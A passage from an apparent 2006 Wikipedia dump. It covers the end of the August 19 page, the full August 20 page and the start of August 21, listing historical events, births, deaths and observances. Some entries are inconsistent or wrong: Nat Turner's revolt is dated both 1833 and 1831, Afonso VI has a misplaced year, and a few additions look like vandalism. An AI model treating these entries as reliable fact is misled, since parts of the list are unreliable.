*1946 - [[Beat Raaflaub]], Swiss conductor
*[[1947]] - [[Gerard Schwarz]], American conductor
*[[1948]] - [[Tipper Gore]], [[Second Lady of the United States]]
*[[1950]] - [[Jennie Bond]], British journalist
*[[1951]] - [[John Deacon]], English musician ([[Queen (band)|Queen]])
*[[1952]] - [[Jonathan Frakes]], American actor and director
*[[1955]] - [[Peter Gallagher]], American actor
*[[1956]] - [[Adam Arkin]], American actor
*[[1958]] - [[Anthony Muñoz]], American football player
*[[1960]] - [[Morten Andersen]], American football player
*[[1963]] - [[John Stamos]], American actor
*1963 - [[Joey Tempest]], Swedish singer ([[Europe (band)|Europe]])
*[[1964]] - [[Whitney Prescott]], American fetish model
*[[1965]] - [[Kyra Sedgwick]], American actress
*[[1966]] - [[Lee Ann Womack]], American musician
*[[1969]] - [[Matthew Perry (actor)|Matthew Perry]], American actor
*[[1973]] - Crown Princess [[Mette Marit]] of Norway
*1973 - [[Callum Blue]], British actor
*[[1979]] - [[David Douglas (musician)|David Douglas]] American drummer ([[Relient K]])
*[[1980]] - [[Darius Danesh]], Scottish singer
*[[1982]] - [[Erika Christensen]], American actress
*[[1983]] - [[Tammin Sursok]], Australian actress

==Deaths==
*[[14]] - [[Caesar Augustus|Augustus]], [[Roman Emperor]] (b. [[63 BC]])
*[[1186]] - [[Geoffrey II, Duke of Brittany]] (b. [[1158]])
*[[1245]] - [[Ramon Berenguer IV, Count of Provence]] (b. [[1195]])
*[[1284]] - [[Alphonso, Earl of Chester]], son of [[Edward I of England]] (b. [[1273]])
*[[1297]] - [[Saint Louis of Toulouse]], French Catholic bishop (b. [[1274]])
*[[1493]] - [[Frederick III, Holy Roman Emperor]] (b. [[1415]])
*[[1580]] - [[Andrea Palladio]], Italian architect (b. [[1508]])
*[[1646]] - [[Alexander Henderson (theologian)|Alexander Henderson]], Scottish theologian
*[[1662]] - [[Blaise Pascal]], French mathematician, physicist, and philosopher (b. [[1623]])
*[[1753]] - [[Balthasar Neumann]], German architect (b. [[1687]])
*[[1819]] - [[James Watt]], Scottish inventor (b. [[1736]])
*[[1822]] - [[Jean Baptiste Joseph Delambre]], French mathematician (b. [[1749]])
*[[1872]] - King [[Charles XV of Sweden|Charles XV]] / [[Charles XV of Sweden|Carl IV]] of Sweden and Norway (b. [[1826]])
*[[1889]] - [[Auguste Villiers de l'Isle-Adam]], French writer (b. [[1838]])
*[[1895]] - [[John Wesley Hardin]], American gunfighter (b. [[1853]])
*[[1923]] - [[Vilfredo Pareto]], Italian sociologist and economist (b. [[1845]])
*[[1929]] - [[Sergei Diaghilev]], Russian ballet impresario (b. [[1872]])
*[[1936]] - [[Federico García Lorca]], Spanish author (b. [[1898]])
*[[1950]] - [[Giovanni Giorgi]], Italian physicist (b. [[1871]])
*[[1954]] - [[Alcide De Gasperi]], [[Prime Minister of Italy]] (b. [[1881]])
*[[1957]] - [[David Bomberg]], English painter (b. [[1890]])
*1957 - [[Carl-Gustaf Rossby]], Swedish meteorologist (b. [[1898]])
*[[1959]] - [[Jacob Epstein]], American-born sculptor (b. [[1880]])
*[[1967]] - [[Hugo Gernsback]], Luxembourg-born editor and publisher (b. [[1884]])
*[[1968]] - [[George Gamow]], Ukrainian-born physicist (b. [[1904]])
*[[1969]] - [[Ludwig Mies van der Rohe]], German architect (b. [[1886]])
*[[1970]] - [[Pawel Jasienica|Paweł Jasienica]], Polish historian (b. [[1909]])
*[[1976]] - [[Alastair Sim]], Scottish actor and former rector of Edinburgh University (b. [[1900]])
*[[1977]] - [[Groucho Marx]], American comedian and actor (b. [[1890]])
*[[1980]] - [[Otto Frank]], father of Anne Frank (b. [[1889]])
*[[1982]] - [[August Neo]], Estonian wrestler, Olympic medalist (b.[[1908]])
*[[1994]] - [[Linus Pauling]], American chemist, recipient of the [[Nobel Prize in Chemistry]] and [[Nobel Peace Prize|Peace]] (b. [[1901]])
*[[1995]] - [[Pierre Schaeffer]], French composer (b. [[1910]])
*[[2003]] - [[Carlos Roberto Reina]], [[President of Honduras]] (b. [[1926]])
*2003 - [[Sérgio Vieira de Mello]],  Brazilian diplomat (b. [[1948]])
*[[2005]] - [[Bueno de Mesquita]], Dutch comedian and actor (b. [[1918]])
*2005 - [[Mo Mowlam]], British politician (b. [[1949]])

==Holidays and observances==
*[[Roman festivals]] - [[Vinalia Rustica]] celebrated in honor of [[Venus (mythology)|Venus]] ''Libitina'' commemorating the founding of the oldest known temple to her, on the [[Esquiline Hill]], in [[293 BC]] on this date.
*[[List of saints|RC saints]] - [[Saint Sebald]], [[Saint Louis of Toulouse]], [[Jean-Eudes de Mézeray]]
*[[Afghanistan]] - [[Afghan Independence Day]] ''see above: 1919''
*National Day of the Filipino Language, [[Philippines]] - Holiday for [[Quezon City]], [[Quezon Province]] and other municipalities named after [[Manuel Quezon]]
*[[National Aviation Day]], [[United States|USA]]


==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/august/19 BBC: On This Day]
* [http://www.tnl.net/when/8/19 Today in History: August 19]

----

[[August 18]] - [[August 20]] - [[July 19]] - [[September 19]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:19 Augustus]]
[[ar:19 أغسطس]]
[[an:19 d'agosto]]
[[ast:19 d'agostu]]
[[bg:19 август]]
[[be:19 жніўня]]
[[bs:19. august]]
[[ca:19 d'agost]]
[[ceb:Agosto 19]]
[[cv:Çурла, 19]]
[[co:19 d'aostu]]
[[cs:19. srpen]]
[[cy:19 Awst]]
[[da:19. august]]
[[de:19. August]]
[[et:19. august]]
[[el:19 Αυγούστου]]
[[es:19 de agosto]]
[[eo:19-a de aŭgusto]]
[[eu:Abuztuaren 19]]
[[fo:19. august]]
[[fr:19 août]]
[[fy:19 augustus]]
[[ga:19 Lúnasa]]
[[gl:19 de agosto]]
[[ko:8월 19일]]
[[hr:19. kolovoza]]
[[io:19 di agosto]]
[[id:19 Agustus]]
[[ia:19 de augusto]]
[[ie:19 august]]
[[is:19. ágúst]]
[[it:19 agosto]]
[[he:19 באוגוסט]]
[[jv:19 Agustus]]
[[ka:19 აგვისტო]]
[[csb:19 zélnika]]
[[ku:19'ê gelawêjê]]
[[lt:Rugpjūčio 19]]
[[lb:19. August]]
[[li:19 augustus]]
[[hu:Augusztus 19]]
[[mk:19 август]]
[[ms:19 Ogos]]
[[nap:19 'e aùsto]]
[[nl:19 augustus]]
[[ja:8月19日]]
[[no:19. august]]
[[nn:19. august]]
[[oc:19 d'agost]]
[[pl:19 sierpnia]]
[[pt:19 de Agosto]]
[[ro:19 august]]
[[ru:19 августа]]
[[sco:19 August]]
[[sq:19 Gusht]]
[[scn:19 di austu]]
[[simple:August 19]]
[[sk:19. august]]
[[sl:19. avgust]]
[[sr:19. август]]
[[fi:19. elokuuta]]
[[sv:19 augusti]]
[[tl:Agosto 19]]
[[tt:19. August]]
[[te:ఆగష్టు 19]]
[[th:19 สิงหาคม]]
[[vi:19 tháng 8]]
[[tr:19 Ağustos]]
[[uk:19 серпня]]
[[wa:19 d' awousse]]
[[war:Agosto 19]]
[[zh:8月19日]]
[[pam:Agostu 19]]</text>
    </revision>
  </page>
  <page>
    <title>August 20</title>
    <id>1498</id>
    <revision>
      <id>42069073</id>
      <timestamp>2006-03-03T16:32:04Z</timestamp>
      <contributor>
        <ip>85.20.186.33</ip>
      </contributor>
      <comment>/* Births */</comment>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{AugustCalendar}}
|-
|{{ThisDateInRecentYears|Month=August|Day=20}}
|}
'''[[August 20]]''' is the 232nd day of the year (233rd in [[leap year]]s) in the [[Gregorian Calendar]]. There are 133 days remaining. If you take the numbers 232 and 133, you got one 1, two 2´s and three 3´s.


==Events==
*[[636]] - [[Battle of Yarmuk]]: [[Arab]] forces led by [[Khalid bin Walid]] take control of [[Syria]] and [[Palestine (region)|Palestine]] away from the [[Byzantine Empire]], marking the first great wave of [[Muslim]] conquests and the rapid advance of [[Islam]] outside [[Arabia]].
*[[917]] - [[Battle of Anchialus]]: Tsar [[Simeon I of Bulgaria]] invades [[Thrace]] and drives the [[Byzantine Empire|Byzantines]] out. 
*[[1391]] - [[Konrad IV von Wallenrode]] becomes the 24th [[Grand master (order)|Grand Master]] of the [[Teutonic Order]].  
*[[1794]] - [[Battle of Fallen Timbers]] - [[United States|American]] troops force a confederacy of [[Shawnee (tribe)|Shawnee]], [[Mingo (tribe)|Mingo]], [[Delaware (tribe)|Delaware]], [[Wyandot]], [[Miami (tribe)|Miami]], [[Ottawa (tribe)|Ottawa]], [[Chippewa]], and [[Potawatomi]] warriors into a disorganized retreat. 
*[[1804]] - [[Lewis and Clark Expedition]]: The &quot;Corps of Discovery&quot;, exploring the [[Louisiana Purchase]], suffers its only death when Sergeant [[Charles Floyd (explorer)|Charles Floyd]] dies, apparently from acute [[appendicitis]].
*[[1833]] - [[Nat Turner]] leads his [[revolt]] against the Southern plantation owners of Southampton County, [[Virginia]]
*[[1882]] - [[Piotr Ilyitch Tchaikovsky]]'s [[1812 Overture]] debuts in [[Moscow]].
*[[1900]] - [[Japan|Japan's]] primary school law is amended to provide for four years of mandatory schooling.
*[[1914]] - [[World War I]]: [[Germany|German]] forces occupy [[Brussels]].  
*[[1920]] - The first commercial [[radio]] station, 8MK (WWJ), begins operations in [[Detroit, Michigan]].  
*[[1926]] - [[Japan|Japan's]] [[Public broadcasting|public broadcasting]] company, [[NHK|Nippon Hōsō Kyōkai (NHK)]] is established.
*[[1940]] - Exiled [[Russia]]n revolutionary [[Leon Trotsky]] is fatally wounded in [[Mexico City]] by an assassin's ice axe. He will die the next day. 
*[[1955]] -  In [[Morocco]], a force of [[Berber]]s from the [[Atlas Mountains]] region of [[Algeria]], raid two rural settlements and kill 77 [[France|French]] nationals.  
*[[1960]] - [[Senegal]] breaks from the [[Mali]] federation, declaring independence.   
*[[1968]] - 200,000 [[Warsaw Pact]] troops and 5,000 [[tank]]s invade [[Czechoslovakia]] to end the &quot;[[Prague Spring]]&quot; of political liberalization.  
*[[1975]] - [[Viking program]]: [[NASA]] launches the [[Viking 1]] planetary probe toward [[Mars (planet)|Mars]]. 
*[[1977]] - [[Voyager program]]: The [[United States]] launches the [[Voyager 2]] spacecraft.  
*[[1982]] - [[Lebanese Civil War]]: A multinational force lands in [[Beirut]] to oversee the [[PLO]] withdrawal from [[Lebanon]]. 
*[[1986]] - In [[Edmond, Oklahoma]], [[United States Postal Service|US Postal]] employee [[Patrick Sherrill|Patrick Henry Sherrill]] guns down 14 of his co-workers and then commits [[suicide]].
*[[1988]] - [[Peru]] becomes a member of the [[Berne Convention for the Protection of Literary and Artistic Works|Berne Convention]] [[copyright]] [[treaty]].
*[[1989]] - In [[Beverly Hills, California]], [[Lyle and Erik Menendez]] shoot and kill their wealthy parents. 
*[[1991]] - [[Collapse of the Soviet Union]]: More than 100,000 people rally outside the [[Soviet Union]]'s parliament building protesting the [[coup]] aiming to depose President [[Mikhail Gorbachev]]. [[Estonia]] reclaimed its independence and seceded from the [[Soviet Union]]. Estonia had been occupied by the Soviets for more than 50 years.
*[[1993]] - After rounds of secret negotiations in [[Norway]], the [[Oslo Peace Accords]] were signed, followed by a public ceremony in [[Washington, D.C.]] the next month.
*[[1994]] - Circus elephant trainer [[Allen Campbell]] is crushed to death in Honolulu, Hawaii, by the performing elephant &quot;[[Tyke]]&quot;.
*[[1997]] - [[Souhane massacre]] in [[Algeria]]; over 60 people killed, 15 kidnapped.
*[[1998]] - The [[Supreme Court of Canada]] states [[Quebec]] cannot legally secede from [[Canada]] without the federal government's approval.
*1998 - [[1998 U.S. embassy bombings|U.S. embassy bombings]]: The [[United States military]] launches [[cruise missile]] attacks against alleged [[al-Qaida]] camps in [[Afghanistan]] and a suspected chemical plant in [[Sudan]] in retaliation for the [[August 7]] bombings of American embassies in [[Kenya]] and [[Tanzania]]. The [[al-Shifa pharmaceutical factory]] in [[Khartoum]] is destroyed in the attack.

==Births==
*[[1517]] - [[Antoine Perrenot de Granvelle]], French church leader (d. [[1586]])
*[[1561]] - [[Jacopo Peri]], Italian composer (d. [[1633]])
*[[1601]] - [[Pierre de Fermat]], French mathematician (d. [[1665]])
*[[1625]] - [[Thomas Corneille]], French dramatist (d. [[1709]])
*[[1632]] - [[Louis Bourdaloue]], French Jesuit preacher (d. [[1704]])
*[[1710]] - [[Thomas Simpson]], British mathematician (d. [[1761]])
*[[1719]] - [[Christian Mayer]], Czech astronomer (d. [[1783]])
*1719 - [[Charles-François de Broglie, marquis de Ruffec]], French soldier and diplomat (d. [[1791]])
*[[1779]] - [[Jöns Jakob Berzelius]], Swedish chemist (d. [[1848]])
*[[1833]] - [[Benjamin Harrison]], 23rd [[President of the United States]] (d. [[1901]])
*[[1847]] - [[Boleslaw Prus]], Polish writer (d. [[1912]])
*[[1860]] - [[Raymond Poincaré]], French statesman (d. [[1934]])
*[[1881]] - [[Edgar Guest]], English poet (d. [[1959]])
*[[1897]] - [[Tarjei Vesaas]], Norwegian writer (d. [[1970]])
*[[1890]] - [[H. P. Lovecraft]], American writer (d. [[1937]])
*[[1901]] - [[Salvatore Quasimodo]], Italian writer, [[Nobel Prize in Literature|Nobel Prize]] laureate (d. [[1968]])
*[[1905]] - [[Jean Gebser]], German-born author, linguist, and poet (d. [[1973]])
*1905 - [[Jack Teagarden]], American musician (d. [[1964]])
*[[1908]] - [[Al Lopez]], baseball player and manager (d. [[2005]])
*[[1910]] - [[Eero Saarinen]], Finnish architect (d. [[1961]])
*[[1913]] - [[Roger Wolcott Sperry]], American neurobiologist, recipient of the [[Nobel Prize in Physiology or Medicine]] (d. [[1994]])
*[[1918]] - [[Jacqueline Susann]], American novelist (d. [[1974]])
*[[1923]] - [[Jim Reeves]], American singer (d. [[1964]])
*[[1931]] - [[Don King]], American boxing promoter
*[[1932]] - [[Anthony Ainley]], British actor (d. [[2004]])
*1932 - [[Vasily Aksyonov]], Russian novelist
*[[1935]] - [[Ron Paul]], American politician
*[[1936]] - [[Hideki Shirakawa]], Japanese chemist, [[Nobel Prize in Chemistry|Nobel Prize]] laureate
*[[1937]] - [[Andrei Konchalovsky]], Russian film director
*[[1939]] - [[Fernando Poe Jr.]], Filipino actor and [[2004 Philippine general election|presidential candidate]]
*[[1940]] - [[Rubén Hinojosa]], American politician
*[[1941]] - [[Slobodan Milošević]], [[President of Serbia]]
*1941 - [[Robin Oakley]], British journalist
*[[1942]] - [[Isaac Hayes]], American singer, songwriter, and actor
*[[1943]] - [[Sylvester McCoy]], Scottish actor
*[[1944]] - [[Rajiv Gandhi]], [[Prime Minister of India]] (d. [[1991]])
*[[1946]] - [[Connie Chung]], American journalist
*1946 - [[N.R. Narayana Murthy]], Indian businessman
*[[1948]] - [[Robert Plant]] English singer ([[Led Zeppelin]])
*[[1949]] - [[Phil Lynott]], Irish musician (d. [[1986]])
*[[1951]] - [[Greg Bear]], American author
*[[1952]] - [[John Hiatt]], American musician
*[[1954]] - [[Al Roker]], American television broadcaster
*[[1955]] - [[Agnes Chan]], Hong Kong singer and writer
*[[1956]] - [[Joan Allen]], American actress
*[[1961]] - [[Greg Egan]], Australian author
*[[1962]] - [[Sophie Aldred]], English actress
*1962 - [[James Marsters]], American actor
*[[1965]] - [[KRS-One]], American rapper
*[[1966]] - [[Dimebag Darrell]], American guitarist ([[Pantera]] and [[Damageplan]]) (d. 2004)
*[[1967]] - [[Fabio Verdoglia]], italian playboy 
*[[1968]] - [[Yuri Shiratori]], Japanese voice actress and singer
*[[1970]] - [[John Carmack]], American computer game programmer
*[[1970]] - [[Fred Durst]], American singer ([[Limp Bizkit]])
*[[1973]] - [[Todd Helton]], baseball player
*[[1974]] - [[Maxim Vengerov]], Russian violinist
*[[1984]] - [[Mirai Moriyama]], Japanese actor
*[[1986]] - [[Robert Clark (actor)|Robert Clark]], Canadian actor

==Deaths==
*[[984]] - [[Pope John XIV]]
*[[1384]] - [[Geert Groote]], Dutch founder of the Brethren of the Common Life (b. [[1340]])
*[[1572]] - [[Miguel López de Legazpi]], Spanish conquistador (b.[[1502]])
*[[1580]] - [[Jeronymo Osorio]], Portuguese historian (b. [[1506]])
*[[1611]] - [[Tomás Luis de Victoria]], Spanish composer
*[[1639]] - [[Martin Opitz von Boberfeld]], German poet (b. [[1597]])
*[[1643]] - [[Anne Hutchinson]], English Puritan preacher (b. [[1591]])
*[[1648]] - [[Edward Herbert, 1st Baron Herbert of Cherbury]], English diplomat, poet, and philosopher (b. [[1583]])
*[[1672]] - [[Johan de Witt]], Dutch politican (b. [[1625]])
*[[1672]] - [[Cornelis de Witt]], Dutch politician (b. [[1623]])
*[[1680]] - [[William Bedloe]], English informer (b. [[1650]])
*[[1701]] - [[Charles Sedley]], English playwright
*[[1707]] - [[Nicolas Gigault]], French organist and composer (b. [[1627]])
*[[1773]] - [[Enrique Florez]], Spanish historian (b. [[1701]])
*[[1811]] - [[Louis Antoine de Bougainville]], French explorer (b. [[1729]])
*[[1823]] - [[Pope Pius VII]] (b. [[1740]])
*[[1825]] - [[William Waldegrave, 1st Baron Radstock]], Governor of Newfoundland (b. [[1753]])
*[[1887]] - [[Jules Laforgue]], French poet (b. [[1860]])
*[[1904]] - [[René Waldeck-Rousseau]], French statesman (b. [[1846]])
*[[1912]] - [[William Booth]], English founder of the Salvation Army (b. [[1829]])
*[[1914]] - [[Pope Pius X]] (b. [[1835]])
*[[1915]] - [[Paul Ehrlich]], German scientist, recipient of the [[Nobel Prize in Physiology or Medicine]] (b. [[1854]])
*[[1917]] - [[Adolf von Baeyer]], German chemist, [[Nobel Prize in Chemistry|Nobel Prize]] laureate (b. [[1835]])
*[[1961]] - [[Percy Williams Bridgman]], American physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate (b. [[1882]])
*[[1971]] - [[Rashid Minhas]], Pakistani Air Force pilot (b. [[1951]])
*[[1986]] - [[Milton Acorn]], Canadian poet (b. [[1923]])
*[[1998]] - [[Raquel Rastenni]], Danish singer (b. [[1915]])
*[[2001]] - Sir [[Fred Hoyle]], English astronomer and science fiction writer (b. [[1915]])
*[[2005]] - [[Thomas Herrion]], American football player (b. [[1981]])
*2005 - [[Krzysztof Raczkowski]], Polish heavy metal drummer (b. [[1970]])

==Holidays and observances==
*[[List of saints|RC saints]] - Saint [[Bernard of Clairvaux]]
*[[Bahá'í Faith]] - Feast of Asmá (Names) - First day of the ninth month of the Bahá'í Calendar
*[[Estonia]] - Restoration Day
*[[Hungary]] - [[Stephen I of Hungary|St. Stephen]]'s day, the main national holiday in Hungary
*[[Morocco]] - Revolution of the King and the People Day

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/august/20 BBC: On This Day]

----

[[August 19]] - [[August 21]] - [[July 20]] - [[September 20]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:20 Augustus]]
[[ar:20 أغسطس]]
[[an:20 d'agosto]]
[[ast:20 d'agostu]]
[[bg:20 август]]
[[be:20 жніўня]]
[[bs:20. august]]
[[ca:20 d'agost]]
[[ceb:Agosto 20]]
[[cv:Çурла, 20]]
[[co:20 d'aostu]]
[[cs:20. srpen]]
[[cy:20 Awst]]
[[da:20. august]]
[[de:20. August]]
[[et:20. august]]
[[el:20 Αυγούστου]]
[[es:20 de agosto]]
[[eo:20-a de aŭgusto]]
[[eu:Abuztuaren 20]]
[[fo:20. august]]
[[fr:20 août]]
[[fy:20 augustus]]
[[ga:20 Lúnasa]]
[[gl:20 de agosto]]
[[ko:8월 20일]]
[[hr:20. kolovoza]]
[[io:20 di agosto]]
[[id:20 Agustus]]
[[ia:20 de augusto]]
[[ie:20 august]]
[[is:20. ágúst]]
[[it:20 agosto]]
[[he:20 באוגוסט]]
[[jv:20 Agustus]]
[[ka:20 აგვისტო]]
[[csb:20 zélnika]]
[[ku:20'ê gelawêjê]]
[[lt:Rugpjūčio 20]]
[[lb:20. August]]
[[li:20 augustus]]
[[hu:Augusztus 20]]
[[mk:20 август]]
[[ms:20 Ogos]]
[[nap:20 'e aùsto]]
[[nl:20 augustus]]
[[ja:8月20日]]
[[no:20. august]]
[[nn:20. august]]
[[oc:20 d'agost]]
[[pl:20 sierpnia]]
[[pt:20 de Agosto]]
[[ro:20 august]]
[[ru:20 августа]]
[[sco:20 August]]
[[sq:20 Gusht]]
[[scn:20 di austu]]
[[simple:August 20]]
[[sk:20. august]]
[[sl:20. avgust]]
[[sr:20. август]]
[[fi:20. elokuuta]]
[[sv:20 augusti]]
[[tl:Agosto 20]]
[[tt:20. August]]
[[te:ఆగష్టు 20]]
[[th:20 สิงหาคม]]
[[vi:20 tháng 8]]
[[tr:20 Ağustos]]
[[uk:20 серпня]]
[[wa:20 d' awousse]]
[[war:Agosto 20]]
[[zh:8月20日]]
[[pam:Agostu 20]]</text>
    </revision>
  </page>
  <page>
    <title>August 21</title>
    <id>1499</id>
    <revision>
      <id>41688273</id>
      <timestamp>2006-03-01T01:50:50Z</timestamp>
      <contributor>
        <username>Dcandeto</username>
        <id>70441</id>
      </contributor>
      <comment>Revert to revision 40432990 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{AugustCalendar}}
|-
|{{ThisDateInRecentYears|Month=August|Day=21}}
|}
'''[[August 21]]''' is the 233rd day of the year (234th in [[leap year]]s) in the [[Gregorian Calendar]]. There are 132 days remaining.

==Events==
*[[1192]] - [[Minamoto Yoritomo]] becomes [[Shogun|Seii Tai Shōgun]] and the ''de facto'' ruler of [[Japan]]. (Traditional [[Japanese calendar|Japanese date]]: July 12, 1192)
*[[1680]] - [[Pueblo people|Pueblo Indians]] capture [[Santa Fe, New Mexico|Santa Fe]] from Spanish during the [[Pueblo Revolt]]
*[[1770]] - [[James Cook]] formally claims eastern [[Australia]] for [[Kingdom of Great Britain|Great Britain]], naming it [[New South Wales]].
*[[1772]] -  King [[Gustav III of Sweden|Gustav III]] completes his coup d'etat by adopting a new [[Instrument of Government (1772)|Constitution]], ending [[Age of Liberty in Sweden|half a century of parliamentary rule]] in [[Sweden]] and installing him as an [[Enlightened absolutism|enlightened despot]].
*[[1831]] - [[Nat Turner]] leads slave revolt in [[Southampton County, Virginia]]
*[[1841]] - The [[venetian blind]] is first patented in the [[United States]] by [[John Hampson]].
*[[1842]] - The city of [[Hobart]], [[Tasmania]], is founded.
*[[1852]] - [[Tlingit]] Indians destroy [[Fort Selkirk]], [[Yukon]] Territory
*[[1856]] - [[United States|America's]] first [[consul]] to [[Japan]], [[Townsend Harris]], arrives in [[Shimoda, Shizuoka|Shimoda]]. (Traditional [[Japanese calendar|Japanese date]]: July 21, 1856)
*[[1858]] - The [[Abraham Lincoln|Lincoln]]-[[Stephen A. Douglas|Douglas]] debates begin
*[[1862]] - The [[Vienna]] [[Wiener Stadtpark|Stadtpark]] opens its gates.
*[[1863]] - [[Lawrence, Kansas]] is destroyed by [[Confederate]] guerillas [[Quantrill's Raiders]] in the [[Lawrence Massacre]].
*[[1878]] - The [[American Bar Association]] is founded
*[[1879]] - The [[Mary, the mother of Jesus|Virgin Mary]], along with [[St. Joseph]] and [[St. John the Evangelist]] reportedly appear to the people of [[Knock]], [[County Mayo]], [[Ireland]].
*[[1888]] - The first successful [[adding machine]] in the [[United States]] was patented by [[William Seward Burroughs]].
* [[1911]] - The ''[[Mona Lisa]]'' was  [[art theft|stolen]] by a [[Louvre]] employee. 
*[[1944]] - [[Dumbarton Oaks Conference]], prelude to the [[United Nations]], begins.
*[[1959]] - President [[Eisenhower]] signs an executive order proclaiming [[Hawaii]] the 50th state of the union.
*[[1968]] - [[Soviet Union]]-dominated [[Warsaw Pact]] troops invade [[Czechoslovakia]], crushing the [[Prague Spring]]; on the same day, [[Nicolae Ceauşescu]], leader of [[Communist Romania]], publicly condemns the Soviet maneuver, encouraging the Romanian population to arm itself against possible Soviet reprisals.  
*[[1971]] - [[Black Panther Party|Black Panther]] [[George Jackson (Black Panther)|George Jackson]] is shot and killed in the prison yard at [[California]]'s San Quentin prison.
*1971 - A bomb exploded in the [[Liberal Party (Philippines)|Liberal Party]] campaign rally in Plaza Miranda, [[Manila]], [[Philippines]] with several anti-[[Ferdinand Marcos|Marcos]] political candidates injured.
*[[1976]] - [[Operation Paul Bunyan]] at [[Panmunjeom]], [[Korea]]
*[[1983]] - Philippine opposition leader [[Benigno Aquino, Jr.]] was assassinated at the [[Manila International Airport]].
*[[1986]] - Toxic gas erupts from [[volcano|volcanic]] [[Lake Nyos]] in [[Cameroon]], killing over 1700 people.
*[[1987]] - [[Hard rock]] band [[Guns N' Roses]] release their classic debut ''[[Appetite for Destruction]].''
*[[1991]] - [[Latvia]] declares its full independence from the [[Soviet Union]].
*1991 - [[coup d'état|Coup]] attempt against [[Mikhail Gorbachev]] collapses.
*[[1993]] - [[NASA]] loses contact with the [[Mars Observer]] spacecraft.
*[[1997]] - The British Rock Group [[Oasis (band)|Oasis]] release album, ''[[Be Here Now]]''.
*[[1998]] - The [[United States]] destroys a pharmaceutical plant (erroneously believed to be a chemical weapons plant) in [[Sudan]].
*[[2001]] - [[NATO]] decides to send a peace-keeping force to the former [[Yugoslavia|Yugoslav]] [[Republic of Macedonia]].
*2001 - A sixth-century temple is discovered in central [[Mexico]].
*2001 - The [[Red Cross]] announces that a [[famine]] is striking [[Tajikistan]], and calls for international financial aid for Tajikistan and [[Uzbekistan]].
*[[2002]] - [[Jean Chrétien]], [[Prime Minister of Canada]], announces that he will not seek re-election and would resign within eighteen months.
*[[2004]] - A grenade attack on Bangladesh Awamee League, the bigest political party in [[Bangladesh]] kills 22 and injures more than a thousand, including party president [[Sheikh Hasina]].
*[[2005]] - [[Pope Benedict XVI]] concludes [[World Youth Day 2005|World Youth Day]] with a mass. Over 1,100,000+ people attended the closing liturgy.

==Births==
*[[1165]] - King [[Philip II of France]] (d. [[1223]])
*[[1535]] - [[Shimazu Yoshihiro]], Japanese samurai and warlord (d. [[1619]])
*[[1567]] - [[Francis de Sales]], Bishop of Geneva and saint (d. [[1622]])
*[[1597]] - [[Roger Twysden]], English antiquarian and royalist (d. [[1672]])
*[[1643]] - King [[Afonso VI of Portugal]] (b. [[1683]])
*[[1660]] - [[Hubert Gautier]], French scientist and civil engineer (d. [[1737]])
*[[1665]] - [[Giacomo F. Maraldi]], French-Italian astronomer (d. [[1729]])
*[[1670]] - [[James FitzJames, 1st Duke of Berwick]], French military leader (d. [[1734]])
*[[1725]] - [[Jean-Baptiste Greuze]], French painter (d. [[1805]])
*[[1754]] - [[William Murdoch]], Scottish inventor (d. [[1839]])
*[[1765]] - [[William IV of the United Kingdom]]  (d. [[1837]])
*[[1789]] - [[Augustin Louis Cauchy]], French mathematician (d. [[1857]])
*[[1801]] - [[Guillaume Groen van Prinsterer]], Dutch politician (d. [[1876]])
*[[1811]] - [[William Kelly (inventor)|William Kelly]], American inventor (d. [[1888]])
*[[1813]] - [[Jean Stas]], Belgian chemist (d. [[1891]])
*[[1816]] - [[Charles Frédéric Gerhardt]], French chemist (d. [[1856]])
*[[1826]] - [[Karl Gegenbaur]], German anatomist (d. [[1903]])
*[[1872]] - [[Aubrey Beardsley]], English illustrator (d. [[1898]])
*[[1904]] - [[Count Basie|William &quot;Count&quot; Basie]], American bandleader (d. [[1984]])
*[[1906]] - [[Friz Freleng]], American movie animator (d. [[1995]])
*[[1908]] - [[M. M. Kaye]], British writer (d. [[2004]])
*[[1915]] - [[Raquel Rastenni]], Danish singer (d. [[1998]])
*[[1923]] - [[Shimon Peres]], [[Prime Minister of Israel]], recipient of the [[Nobel Peace Prize]]
*[[1924]] - [[Jack Buck]], American sports announcer (d. [[2002]])
*1924 - [[Chris Schenkel]], American sports journalist (d. [[2005]]) 
*1924 - [[Jack Weston]], American actor (d. [[1996]])
*[[1925]] - [[Maurice Pialat]], French actor and director (d. [[2003]])
*[[1928]] - [[Art Farmer]], American trumpet player (d. [[1999]])
*[[1930]] - [[Princess Margaret, Countess of Snowdon]] (d. [[2002]])
*[[1932]] - [[Melvin Van Peebles]], American actor and screenwriter
*[[1933]] - [[Janet Baker]], English opera singer ([[mezzo-soprano]])
*[[1936]] - [[Wilt Chamberlain]], American basketball player (d. [[1999]])
*[[1938]] - [[Kenny Rogers]], American singer and actor
*[[1939]] - [[James Burton]], American guitarist
*1939 - [[Clarence Williams III]], American actor
*[[1944]] - [[Jackie DeShannon]], American singer
*1944 - [[Peter Weir]], Australian film director
*[[1950]] - [[Patrick Juvet]], Swiss singer
*[[1951]] - [[Eric Goles]], Chilean mathematician and computer scientist
*[[1952]] - [[Joe Strummer]], British musician and singer ([[The Clash]]) (d. [[2002]])
*[[1954]] - [[Ivan Stang]], American writer
*[[1956]] - [[Kim Cattrall]], English-born actress
*[[1959]] - [[Jim McMahon]], American football player
*[[1962]] - [[Jeff Stryker]], American adult film actor
*[[1963]] - [[Mohammed VI of Morocco]]
*[[1964]] - [[Trinity Loren]], American actress and model (d. [[1998]])
*[[1967]] - [[Carrie-Anne Moss]], Canadian actress
*1967 - [[Serj Tankian]], Lebanese-born singer ([[System of a Down]])
*[[1969]] - [[Josée Chouinard]], Canadian figure skater
*[[1970]] - [[Erik Dekker]], Dutch professional cyclist
*[[1971]] - [[Liam Howlett]], British musician (([[The Prodigy]])
*[[1978]] - [[Reuben Droughns]], American football player
*1978 - [[Jason Marquis]], American baseball player
*[[1980]] - [[Burney Lamar]], American race car driver
*[[1984]] - [[Alizée]], French singer
*[[1991]] - [[Tess Gaerthé]], Dutch singer and actress

==Deaths==
*[[1157]] - King [[Alfonso VII of Castile]] (b. 1104/1105)
*[[1153]] - [[Bernard of Clairvaux]], French theologian (b. [[1090]])
*[[1271]] - [[Alphonse of Toulouse]], son of [[Louis VIII of France]] (b. [[1220]])
